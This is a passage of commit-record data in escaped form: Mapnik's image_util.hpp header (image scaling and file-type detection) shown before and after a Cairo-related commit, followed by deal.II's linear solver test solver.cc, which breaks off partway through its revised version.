save_to_file(T const& image,\n                              std::string const& filename,\n                              std::string const& type);\n\/\/ guess type from file extension\ntemplate <typename T>\nMAPNIK_DECL void save_to_file(T const& image,\n                              std::string const& filename);\n   \ntemplate <typename T>\nMAPNIK_DECL std::string save_to_string(T const& image,\n                                       std::string const& type);\n\ntemplate <typename T>\nvoid save_as_png(T const& image,\n                 std::string const& filename);\n\n#if defined(HAVE_JPEG)\ntemplate <typename T>\nvoid save_as_jpeg(std::string const& filename,\n                  int quality,\n                  T const& image);\n#endif\n\ninline bool is_png (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".png\"));\n}\n\ninline bool is_jpeg (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".jpg\")) ||\n        boost::algorithm::iends_with(filename,std::string(\".jpeg\"));\n}\n\ninline bool is_tiff (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".tif\")) ||\n        boost::algorithm::iends_with(filename,std::string(\".tiff\"));\n}\n\ninline bool is_pdf (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".pdf\"));\n}\n\ninline bool is_svg (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".svg\"));\n}\n\ninline bool is_ps (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".ps\"));\n}\n   \ninline boost::optional<std::string> type_from_filename(std::string const& filename)\n\n{\n    typedef boost::optional<std::string> result_type;\n    if (is_png(filename)) return result_type(\"png\");\n    if (is_jpeg(filename)) return result_type(\"jpeg\");\n    if (is_tiff(filename)) return result_type(\"tiff\");\n    if (is_pdf(filename)) return result_type(\"pdf\");\n    if (is_svg(filename)) return result_type(\"svg\");\n    if (is_ps(filename)) return result_type(\"ps\");\n    return result_type();\n}\n\ninline std::string guess_type( const std::string & filename )\n{\n    std::string::size_type idx = filename.find_last_of(\".\");\n    if ( idx != std::string::npos ) {\n        return filename.substr( idx + 1 );\n    }\n    return \"<unknown>\";\n}\n\ntemplate <typename T>\ndouble distance(T x0,T y0,T x1,T y1)\n{\n    double dx = x1-x0;\n    double dy = y1-y0;\n    return std::sqrt(dx * dx + dy * dy);\n}\n\n\n\/\/ add 1-px border around image - useful for debugging alignment issues\ntemplate <typename T>\nvoid add_border(T & image)\n{\n    for (unsigned  x = 0; x < image.width();++x)\n    {\n        image(x,0) = 0xff0000ff; \/\/ red\n        image(x,image.height()-1) = 0xff00ff00; \/\/green\n    }\n    for (unsigned y = 0; y < image.height();++y)\n    {\n        image(0,y) = 0xff00ffff; \/\/yellow \n        image(image.width()-1,y) = 0xffff0000; \/\/ blue\n    }\n}\n\ntemplate <typename Image>\ninline void scale_image (Image& target,const Image& source)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int int_part_y=source_height\/target_height;\n    int fract_part_y=source_height%target_height;\n    int err_y=0;\n    int int_part_x=source_width\/target_width;\n    int fract_part_x=source_width%target_width;\n    int err_x=0;\n    int x=0,y=0,xs=0,ys=0;\n    int prev_y=-1;\n    for (y=0;y<target_height;++y)\n    {\n        if (ys==prev_y)\n        {\n            target.setRow(y,target.getRow(y-1),target_width);\n        }\n        else\n        {\n            xs=0;\n            for (x=0;x<target_width;++x)\n            {\n                target(x,y)=source(xs,ys);\n                xs+=int_part_x;\n                err_x+=fract_part_x;\n                if (err_x>=target_width)\n                {\n                    err_x-=target_width;\n                    ++xs;\n                }\n            }\n            prev_y=ys;\n        }\n        ys+=int_part_y;\n        err_y+=fract_part_y;\n        if (err_y>=target_height)\n        {\n            err_y-=target_height;\n            ++ys;\n        }\n    }\n\n#ifdef MAPNIK_DEBUG\n    add_border(target);\n#endif\n}\n\ntemplate <typename Image>\ninline void scale_image_bilinear (Image& target,const Image& source, double x_off_f=0, double y_off_f=0)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int x=0,y=0,xs=0,ys=0;\n    int tw2 = target_width\/2;\n    int th2 = target_height\/2;\n    int offs_x = rint((source_width-target_width-x_off_f*2*source_width)\/2);\n    int offs_y = rint((source_height-target_height-y_off_f*2*source_height)\/2);\n    unsigned yprt, yprt1, xprt, xprt1;\n\n    \/\/no scaling or subpixel offset\n    if (target_height == source_height && target_width == source_width && offs_x == 0 && offs_y == 0){\n        for (y=0;y<target_height;++y)\n            target.setRow(y,source.getRow(y),target_width);\n        return;\n    }\n\n    for (y=0;y<target_height;++y)\n    {\n        ys = (y*source_height+offs_y)\/target_height;\n        int ys1 = ys+1;\n        if (ys1>=source_height)\n            ys1--;\n        if (ys<0)\n            ys=ys1=0;\n        if (source_height\/2<target_height)\n            yprt = (y*source_height+offs_y)%target_height;\n        else\n            yprt = th2;\n        yprt1 = target_height-yprt;\n        for (x=0;x<target_width;++x)\n        {\n            xs = (x*source_width+offs_x)\/target_width;\n            if (source_width\/2<target_width)\n                xprt = (x*source_width+offs_x)%target_width;\n            else\n                xprt = tw2;\n            xprt1 = target_width-xprt;\n            int xs1 = xs+1;\n            if (xs1>=source_width)\n                xs1--;\n            if (xs<0)\n                xs=xs1=0;\n\n            unsigned a = source(xs,ys);\n            unsigned b = source(xs1,ys);\n            unsigned c = source(xs,ys1);\n            unsigned d = source(xs1,ys1);\n            unsigned out=0;\n            unsigned t = 0;\n\n            for(int i=0; i<4; i++){\n                unsigned p,r,s;\n                \/\/ X axis\n                p = a&0xff;\n                r = b&0xff;\n                if (p!=r)\n                    r = (r*xprt+p*xprt1+tw2)\/target_width;\n                p = c&0xff;\n                s = d&0xff;\n                if (p!=s)\n                    s = (s*xprt+p*xprt1+tw2)\/target_width;\n                \/\/ Y axis\n                if (r!=s)\n                    r = (s*yprt+r*yprt1+th2)\/target_height;\n                \/\/ channel up\n                out |= r << t;\n                t += 8;\n                a >>= 8;\n                b >>= 8;\n                c >>= 8;\n                d >>= 8;\n            }\n            target(x,y)=out;\n        }\n    }\n}\n\ntemplate <typename Image>\ninline void scale_image_bilinear8 (Image& target,const Image& source, double x_off_f=0, double y_off_f=0)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int x=0,y=0,xs=0,ys=0;\n    int tw2 = target_width\/2;\n    int th2 = target_height\/2;\n    int offs_x = rint((source_width-target_width-x_off_f*2*source_width)\/2);\n    int offs_y = rint((source_height-target_height-y_off_f*2*source_height)\/2);\n    unsigned yprt, yprt1, xprt, xprt1;\n\n    \/\/no scaling or subpixel offset\n    if (target_height == source_height && target_width == source_width && offs_x == 0 && offs_y == 0){\n        for (y=0;y<target_height;++y)\n            target.setRow(y,source.getRow(y),target_width);\n        return;\n    }\n\n    for (y=0;y<target_height;++y)\n    {\n        ys = (y*source_height+offs_y)\/target_height;\n        int ys1 = ys+1;\n        if (ys1>=source_height)\n            ys1--;\n        if (ys<0)\n            ys=ys1=0;\n        if (source_height\/2<target_height)\n            yprt = (y*source_height+offs_y)%target_height;\n        else\n            yprt = th2;\n        yprt1 = target_height-yprt;\n        for (x=0;x<target_width;++x)\n        {\n            xs = (x*source_width+offs_x)\/target_width;\n            if (source_width\/2<target_width)\n                xprt = (x*source_width+offs_x)%target_width;\n            else\n                xprt = tw2;\n            xprt1 = target_width-xprt;\n            int xs1 = xs+1;\n            if (xs1>=source_width)\n                xs1--;\n            if (xs<0)\n                xs=xs1=0;\n\n            unsigned a = source(xs,ys);\n            unsigned b = source(xs1,ys);\n            unsigned c = source(xs,ys1);\n            unsigned d = source(xs1,ys1);\n            unsigned p,r,s;\n            \/\/ X axis\n            p = a&0xff;\n            r = b&0xff;\n            if (p!=r)\n                r = (r*xprt+p*xprt1+tw2)\/target_width;\n            p = c&0xff;\n            s = d&0xff;\n            if (p!=s)\n                s = (s*xprt+p*xprt1+tw2)\/target_width;\n            \/\/ Y axis\n            if (r!=s)\n                r = (s*yprt+r*yprt1+th2)\/target_height;\n            target(x,y)=(0xff<<24) | (r<<16) | (r<<8) | r;\n        }\n    }\n}\n\ninline MAPNIK_DECL void save_to_file (image_32 const& image,\n                                      std::string const& file,\n                                      std::string const& type) \n{\n    save_to_file<image_data_32>(image.data(),file,type);\n}\n   \ninline MAPNIK_DECL void save_to_file(image_32 const& image,\n                                     std::string const& file) \n{\n    save_to_file<image_data_32>(image.data(),file);\n}\n\ninline MAPNIK_DECL std::string save_to_string(image_32 const& image,\n                                              std::string const& type)\n{\n    return save_to_string<image_data_32>(image.data(),type);\n}\n   \n#ifdef _MSC_VER\ntemplate MAPNIK_DECL void save_to_file<image_data_32>(image_data_32 const&,\n                                                      std::string const&,\n                                                      std::string const&);\ntemplate MAPNIK_DECL void save_to_file<image_data_32>(image_data_32 const&,\n                                                      std::string const&);\ntemplate MAPNIK_DECL std::string save_to_string<image_data_32>(image_data_32 const&,\n                                                               std::string const&);\n   \ntemplate MAPNIK_DECL void save_to_file<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                    std::string const&,\n                                                                    std::string const&);\n \ntemplate MAPNIK_DECL void save_to_file<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                    std::string const&);\n   \ntemplate MAPNIK_DECL std::string save_to_string<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                             std::string const&);\n#endif\n\n}\n\n#endif \/\/IMAGE_UTIL_HPP\n<commit_msg>only expose save_to_cairo_file if cairo support available<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id: image_util.hpp 39 2005-04-10 20:39:53Z pavlenko $\n\n#ifndef IMAGE_UTIL_HPP\n#define IMAGE_UTIL_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/graphics.hpp>\n\n\/\/ boost\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/optional.hpp>\n\n\/\/ stl\n#include <string>\n\n\n\nnamespace mapnik {\n\nclass Map;    \nclass ImageWriterException : public std::exception\n{\nprivate:\n    std::string message_;\npublic:\n    ImageWriterException(const std::string& message) \n        : message_(message) {}\n\n    ~ImageWriterException() throw() {}\n\n    virtual const char* what() const throw()\n    {\n        return message_.c_str();\n    }\n};\n\n#if defined(HAVE_CAIRO)\nMAPNIK_DECL void save_to_cairo_file(mapnik::Map const& map,\n                                    std::string const& filename,\n                                    std::string const& type);\n#endif\n\ntemplate <typename T>\nMAPNIK_DECL void save_to_file(T const& image,\n                              std::string const& filename,\n                              std::string const& type);\n\/\/ guess type from file extension\ntemplate <typename T>\nMAPNIK_DECL void save_to_file(T const& image,\n                              std::string const& filename);\n   \ntemplate <typename T>\nMAPNIK_DECL std::string save_to_string(T const& image,\n                                       std::string const& type);\n\ntemplate <typename T>\nvoid save_as_png(T const& image,\n                 std::string const& filename);\n\n#if defined(HAVE_JPEG)\ntemplate <typename T>\nvoid save_as_jpeg(std::string const& filename,\n                  int quality,\n                  T const& image);\n#endif\n\ninline bool is_png (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".png\"));\n}\n\ninline bool is_jpeg (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".jpg\")) ||\n        boost::algorithm::iends_with(filename,std::string(\".jpeg\"));\n}\n\ninline bool is_tiff (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".tif\")) ||\n        boost::algorithm::iends_with(filename,std::string(\".tiff\"));\n}\n\ninline bool is_pdf (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".pdf\"));\n}\n\ninline bool is_svg (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".svg\"));\n}\n\ninline bool is_ps (std::string const& filename)\n{\n    return boost::algorithm::iends_with(filename,std::string(\".ps\"));\n}\n   \ninline boost::optional<std::string> type_from_filename(std::string const& filename)\n\n{\n    typedef boost::optional<std::string> result_type;\n    if (is_png(filename)) return result_type(\"png\");\n    if (is_jpeg(filename)) return result_type(\"jpeg\");\n    if (is_tiff(filename)) return result_type(\"tiff\");\n    if (is_pdf(filename)) return result_type(\"pdf\");\n    if (is_svg(filename)) return result_type(\"svg\");\n    if (is_ps(filename)) return result_type(\"ps\");\n    return result_type();\n}\n\ninline std::string guess_type( const std::string & filename )\n{\n    std::string::size_type idx = filename.find_last_of(\".\");\n    if ( idx != std::string::npos ) {\n        return filename.substr( idx + 1 );\n    }\n    return \"<unknown>\";\n}\n\ntemplate <typename T>\ndouble distance(T x0,T y0,T x1,T y1)\n{\n    double dx = x1-x0;\n    double dy = y1-y0;\n    return std::sqrt(dx * dx + dy * dy);\n}\n\n\n\/\/ add 1-px border around image - useful for debugging alignment issues\ntemplate <typename T>\nvoid add_border(T & image)\n{\n    for (unsigned  x = 0; x < image.width();++x)\n    {\n        image(x,0) = 0xff0000ff; \/\/ red\n        image(x,image.height()-1) = 0xff00ff00; \/\/green\n    }\n    for (unsigned y = 0; y < image.height();++y)\n    {\n        image(0,y) = 0xff00ffff; \/\/yellow \n        image(image.width()-1,y) = 0xffff0000; \/\/ blue\n    }\n}\n\ntemplate <typename Image>\ninline void scale_image (Image& target,const Image& source)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int int_part_y=source_height\/target_height;\n    int fract_part_y=source_height%target_height;\n    int err_y=0;\n    int int_part_x=source_width\/target_width;\n    int fract_part_x=source_width%target_width;\n    int err_x=0;\n    int x=0,y=0,xs=0,ys=0;\n    int prev_y=-1;\n    for (y=0;y<target_height;++y)\n    {\n        if (ys==prev_y)\n        {\n            target.setRow(y,target.getRow(y-1),target_width);\n        }\n        else\n        {\n            xs=0;\n            for (x=0;x<target_width;++x)\n            {\n                target(x,y)=source(xs,ys);\n                xs+=int_part_x;\n                err_x+=fract_part_x;\n                if (err_x>=target_width)\n                {\n                    err_x-=target_width;\n                    ++xs;\n                }\n            }\n            prev_y=ys;\n        }\n        ys+=int_part_y;\n        err_y+=fract_part_y;\n        if (err_y>=target_height)\n        {\n            err_y-=target_height;\n            ++ys;\n        }\n    }\n\n#ifdef MAPNIK_DEBUG\n    add_border(target);\n#endif\n}\n\ntemplate <typename Image>\ninline void scale_image_bilinear (Image& target,const Image& source, double x_off_f=0, double y_off_f=0)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int x=0,y=0,xs=0,ys=0;\n    int tw2 = target_width\/2;\n    int th2 = target_height\/2;\n    int offs_x = rint((source_width-target_width-x_off_f*2*source_width)\/2);\n    int offs_y = rint((source_height-target_height-y_off_f*2*source_height)\/2);\n    unsigned yprt, yprt1, xprt, xprt1;\n\n    \/\/no scaling or subpixel offset\n    if (target_height == source_height && target_width == source_width && offs_x == 0 && offs_y == 0){\n        for (y=0;y<target_height;++y)\n            target.setRow(y,source.getRow(y),target_width);\n        return;\n    }\n\n    for (y=0;y<target_height;++y)\n    {\n        ys = (y*source_height+offs_y)\/target_height;\n        int ys1 = ys+1;\n        if (ys1>=source_height)\n            ys1--;\n        if (ys<0)\n            ys=ys1=0;\n        if (source_height\/2<target_height)\n            yprt = (y*source_height+offs_y)%target_height;\n        else\n            yprt = th2;\n        yprt1 = target_height-yprt;\n        for (x=0;x<target_width;++x)\n        {\n            xs = (x*source_width+offs_x)\/target_width;\n            if (source_width\/2<target_width)\n                xprt = (x*source_width+offs_x)%target_width;\n            else\n                xprt = tw2;\n            xprt1 = target_width-xprt;\n            int xs1 = xs+1;\n            if (xs1>=source_width)\n                xs1--;\n            if (xs<0)\n                xs=xs1=0;\n\n            unsigned a = source(xs,ys);\n            unsigned b = source(xs1,ys);\n            unsigned c = source(xs,ys1);\n            unsigned d = source(xs1,ys1);\n            unsigned out=0;\n            unsigned t = 0;\n\n            for(int i=0; i<4; i++){\n                unsigned p,r,s;\n                \/\/ X axis\n                p = a&0xff;\n                r = b&0xff;\n                if (p!=r)\n                    r = (r*xprt+p*xprt1+tw2)\/target_width;\n                p = c&0xff;\n                s = d&0xff;\n                if (p!=s)\n                    s = (s*xprt+p*xprt1+tw2)\/target_width;\n                \/\/ Y axis\n                if (r!=s)\n                    r = (s*yprt+r*yprt1+th2)\/target_height;\n                \/\/ channel up\n                out |= r << t;\n                t += 8;\n                a >>= 8;\n                b >>= 8;\n                c >>= 8;\n                d >>= 8;\n            }\n            target(x,y)=out;\n        }\n    }\n}\n\ntemplate <typename Image>\ninline void scale_image_bilinear8 (Image& target,const Image& source, double x_off_f=0, double y_off_f=0)\n{\n\n    int source_width=source.width();\n    int source_height=source.height();\n\n    int target_width=target.width();\n    int target_height=target.height();\n\n    if (source_width<1 || source_height<1 ||\n        target_width<1 || target_height<1) return;\n    int x=0,y=0,xs=0,ys=0;\n    int tw2 = target_width\/2;\n    int th2 = target_height\/2;\n    int offs_x = rint((source_width-target_width-x_off_f*2*source_width)\/2);\n    int offs_y = rint((source_height-target_height-y_off_f*2*source_height)\/2);\n    unsigned yprt, yprt1, xprt, xprt1;\n\n    \/\/no scaling or subpixel offset\n    if (target_height == source_height && target_width == source_width && offs_x == 0 && offs_y == 0){\n        for (y=0;y<target_height;++y)\n            target.setRow(y,source.getRow(y),target_width);\n        return;\n    }\n\n    for (y=0;y<target_height;++y)\n    {\n        ys = (y*source_height+offs_y)\/target_height;\n        int ys1 = ys+1;\n        if (ys1>=source_height)\n            ys1--;\n        if (ys<0)\n            ys=ys1=0;\n        if (source_height\/2<target_height)\n            yprt = (y*source_height+offs_y)%target_height;\n        else\n            yprt = th2;\n        yprt1 = target_height-yprt;\n        for (x=0;x<target_width;++x)\n        {\n            xs = (x*source_width+offs_x)\/target_width;\n            if (source_width\/2<target_width)\n                xprt = (x*source_width+offs_x)%target_width;\n            else\n                xprt = tw2;\n            xprt1 = target_width-xprt;\n            int xs1 = xs+1;\n            if (xs1>=source_width)\n                xs1--;\n            if (xs<0)\n                xs=xs1=0;\n\n            unsigned a = source(xs,ys);\n            unsigned b = source(xs1,ys);\n            unsigned c = source(xs,ys1);\n            unsigned d = source(xs1,ys1);\n            unsigned p,r,s;\n            \/\/ X axis\n            p = a&0xff;\n            r = b&0xff;\n            if (p!=r)\n                r = (r*xprt+p*xprt1+tw2)\/target_width;\n            p = c&0xff;\n            s = d&0xff;\n            if (p!=s)\n                s = (s*xprt+p*xprt1+tw2)\/target_width;\n            \/\/ Y axis\n            if (r!=s)\n                r = (s*yprt+r*yprt1+th2)\/target_height;\n            target(x,y)=(0xff<<24) | (r<<16) | (r<<8) | r;\n        }\n    }\n}\n\ninline MAPNIK_DECL void save_to_file (image_32 const& image,\n                                      std::string const& file,\n                                      std::string const& type) \n{\n    save_to_file<image_data_32>(image.data(),file,type);\n}\n   \ninline MAPNIK_DECL void save_to_file(image_32 const& image,\n                                     std::string const& file) \n{\n    save_to_file<image_data_32>(image.data(),file);\n}\n\ninline MAPNIK_DECL std::string save_to_string(image_32 const& image,\n                                              std::string const& type)\n{\n    return save_to_string<image_data_32>(image.data(),type);\n}\n   \n#ifdef _MSC_VER\ntemplate MAPNIK_DECL void save_to_file<image_data_32>(image_data_32 const&,\n                                                      std::string const&,\n                                                      std::string const&);\ntemplate MAPNIK_DECL void save_to_file<image_data_32>(image_data_32 const&,\n                                                      std::string const&);\ntemplate MAPNIK_DECL std::string save_to_string<image_data_32>(image_data_32 const&,\n                                                               std::string const&);\n   \ntemplate MAPNIK_DECL void save_to_file<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                    std::string const&,\n                                                                    std::string const&);\n \ntemplate MAPNIK_DECL void save_to_file<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                    std::string const&);\n   \ntemplate MAPNIK_DECL std::string save_to_string<image_view<image_data_32> > (image_view<image_data_32> const&,\n                                                                             std::string const&);\n#endif\n\n}\n\n#endif \/\/IMAGE_UTIL_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------  solver.cc  ---------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------  solver.cc  ---------------------------\n\n\n#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <iomanip>\n#include \"testmatrix.h\"\n#include <base\/logstream.h>\n#include <lac\/sparse_matrix.h>\n#include <lac\/vector.h>\n#include <lac\/vector_memory.h>\n#include <lac\/solver_control.h>\n#include <lac\/solver_cg.h>\n#include <lac\/solver_gmres.h>\n#include <lac\/solver_bicgstab.h>\n#include <lac\/solver_richardson.h>\n#include <lac\/solver_qmrs.h>\n#include <lac\/precondition.h>\n\ntemplate<class SOLVER, class MATRIX, class VECTOR, class PRECONDITION>\nvoid\ncheck_solve( SOLVER& solver, const MATRIX& A,\n\t     VECTOR& u, VECTOR& f, const PRECONDITION& P)\n{\n  u = 0.;\n  f = 1.;\n  try \n    {\n      solver.solve(A,u,f,P);\n    }\n  catch (std::exception& e)\n    {\n      deallog << e.what() << std::endl;\n    }  \n}\n\ntemplate<class SOLVER, class MATRIX, class VECTOR, class PRECONDITION>\nvoid\ncheck_Tsolve(SOLVER& solver, const MATRIX& A,\n\t     VECTOR& u, VECTOR& f, const PRECONDITION& P)\n{\n  u = 0.;\n  f = 1.;\n  try \n    {\n      solver.Tsolve(A,u,f,P);\n    }\n  catch (std::exception& e)\n    {\n      deallog << e.what() << std::endl;\n    }  \n}\n\nint main()\n{\n  std::ofstream logfile(\"solver.output\");\n\/\/  logfile.setf(std::ios::fixed);\n  logfile.precision(4);\n  deallog.attach(logfile);\n  deallog.depth_console(0);\n  \n  GrowingVectorMemory<> mem;\n  SolverControl control(100, 1.e-3);\n  SolverControl verbose_control(100, 1.e-3, true);\n  SolverCG<> cg(control, mem);\n  SolverGMRES<> gmres(control, mem, 8);\n  SolverGMRES<>::AdditionalData(8, true);\n  SolverGMRES<> gmresright(control, mem, 8);  \n  SolverBicgstab<> bicgstab(control, mem);\n  SolverRichardson<> rich(control, mem);\n  SolverQMRS<> qmrs(control, mem);\n\n  for (unsigned int size=4; size <= 30; size *= 3)\n    {\n      unsigned int dim = (size-1)*(size-1);\n\n      deallog << \"Size \" << size << \" Unknowns \" << dim << std::endl;\n      \n\t\t\t\t       \/\/ Make matrix\n      FDMatrix testproblem(size, size);\n      SparsityPattern structure(dim, dim, 5);\n      testproblem.five_point_structure(structure);\n      structure.compress();\n      SparseMatrix<double>  A(structure);\n      testproblem.five_point(A);\n\n      PreconditionIdentity prec_no;\n      PreconditionSOR<> prec_sor;\n      prec_sor.initialize(A, 1.2);\n      PreconditionSSOR<> prec_ssor;\n      prec_ssor.initialize(A, 1.2);\n\n      std::vector<unsigned int> permutation(dim);\n      std::vector<unsigned int> inverse_permutation(dim);\n      for (unsigned int i=0;i<dim;++i)\n\tpermutation[i] = dim-i-1;\n      for (unsigned int i=0;i<dim;++i)\n\tinverse_permutation[permutation[i]] = i;\n\n      PreconditionPSOR<> prec_psor;\n      prec_psor.initialize(A, permutation, inverse_permutation, 1.2);\n      \n      Vector<double>  f(dim);\n      Vector<double>  u(dim);\n      Vector<double> res(dim);\n\n      f = 1.;\n      u = 1.;\n      \n      A.residual(res,u,f);\n      A.SOR(res);\n      res.add(1.,u);\n      A.SOR_step(u,f);\n      res.add(-1.,u);\n    \n      deallog << \"SOR-diff:\" << res*res << std::endl;\n\n      try\n\t{\n\t  deallog.push(\"no-fail\");\n\n\t  control.set_max_steps(10);\n\t  check_solve(cg,A,u,f,prec_no);\n\t  check_solve(bicgstab,A,u,f,prec_no);\n\t  check_solve(gmres,A,u,f,prec_no);\n\t  check_solve(gmresright,A,u,f,prec_no);\n\t  check_solve(qmrs,A,u,f,prec_no);\n\t  control.set_max_steps(100);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"no\");\n\t  \n\t  check_solve(cg,A,u,f,prec_no);\n\t  check_solve(bicgstab,A,u,f,prec_no);\n\t  check_solve(gmres,A,u,f,prec_no);\n\t  check_solve(gmresright,A,u,f,prec_no);\n\t  check_solve(qmrs,A,u,f,prec_no);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"ssor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_ssor);\n\t  check_solve(rich,A,u,f,prec_ssor);\n\t  check_solve(cg,A,u,f,prec_ssor);\n\t  check_solve(bicgstab,A,u,f,prec_ssor);\n\t  check_solve(gmres,A,u,f,prec_ssor);\n\t  check_solve(gmresright,A,u,f,prec_ssor);\n\t  check_solve(qmrs,A,u,f,prec_ssor);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"sor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_sor);\n\t  check_solve(rich,A,u,f,prec_sor);\n\t  check_solve(cg,A,u,f,prec_sor);\n\t  check_solve(bicgstab,A,u,f,prec_sor);\n\t  check_solve(gmres,A,u,f,prec_sor);\n\t  check_solve(gmresright,A,u,f,prec_sor);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"psor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_psor);\n\t  check_solve(rich,A,u,f,prec_psor);\n\t  check_solve(cg,A,u,f,prec_psor);\n\t  check_solve(bicgstab,A,u,f,prec_psor);\n\t  check_solve(gmres,A,u,f,prec_psor);\n\t  check_solve(gmresright,A,u,f,prec_psor);\n\t  \n\t  deallog.pop();\n\t}\n      catch (std::exception& e)\n\t{\n\t  std::cerr << e.what() << std::endl;\n\t}\n    };\n}\n\n<commit_msg>more sophisticated permutation<commit_after>\/\/----------------------------  solver.cc  ---------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------  solver.cc  ---------------------------\n\n\n#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <iomanip>\n#include \"testmatrix.h\"\n#include <base\/logstream.h>\n#include <lac\/sparse_matrix.h>\n#include <lac\/vector.h>\n#include <lac\/vector_memory.h>\n#include <lac\/solver_control.h>\n#include <lac\/solver_cg.h>\n#include <lac\/solver_gmres.h>\n#include <lac\/solver_bicgstab.h>\n#include <lac\/solver_richardson.h>\n#include <lac\/solver_qmrs.h>\n#include <lac\/precondition.h>\n\ntemplate<class SOLVER, class MATRIX, class VECTOR, class PRECONDITION>\nvoid\ncheck_solve( SOLVER& solver, const MATRIX& A,\n\t     VECTOR& u, VECTOR& f, const PRECONDITION& P)\n{\n  u = 0.;\n  f = 1.;\n  try \n    {\n      solver.solve(A,u,f,P);\n    }\n  catch (std::exception& e)\n    {\n      deallog << e.what() << std::endl;\n    }  \n}\n\ntemplate<class SOLVER, class MATRIX, class VECTOR, class PRECONDITION>\nvoid\ncheck_Tsolve(SOLVER& solver, const MATRIX& A,\n\t     VECTOR& u, VECTOR& f, const PRECONDITION& P)\n{\n  u = 0.;\n  f = 1.;\n  try \n    {\n      solver.Tsolve(A,u,f,P);\n    }\n  catch (std::exception& e)\n    {\n      deallog << e.what() << std::endl;\n    }  \n}\n\nint main()\n{\n  std::ofstream logfile(\"solver.output\");\n\/\/  logfile.setf(std::ios::fixed);\n  logfile.precision(4);\n  deallog.attach(logfile);\n  deallog.depth_console(0);\n  \n  GrowingVectorMemory<> mem;\n  SolverControl control(100, 1.e-3);\n  SolverControl verbose_control(100, 1.e-3, true);\n  SolverCG<> cg(control, mem);\n  SolverGMRES<> gmres(control, mem, 8);\n  SolverGMRES<>::AdditionalData(8, true);\n  SolverGMRES<> gmresright(control, mem, 8);  \n  SolverBicgstab<> bicgstab(control, mem);\n  SolverRichardson<> rich(control, mem);\n  SolverQMRS<> qmrs(control, mem);\n\n  for (unsigned int size=4; size <= 30; size *= 3)\n    {\n      unsigned int dim = (size-1)*(size-1);\n\n      deallog << \"Size \" << size << \" Unknowns \" << dim << std::endl;\n      \n\t\t\t\t       \/\/ Make matrix\n      FDMatrix testproblem(size, size);\n      SparsityPattern structure(dim, dim, 5);\n      testproblem.five_point_structure(structure);\n      structure.compress();\n      SparseMatrix<double>  A(structure);\n      testproblem.five_point(A);\n\n      PreconditionIdentity prec_no;\n      PreconditionSOR<> prec_sor;\n      prec_sor.initialize(A, 1.2);\n      PreconditionSSOR<> 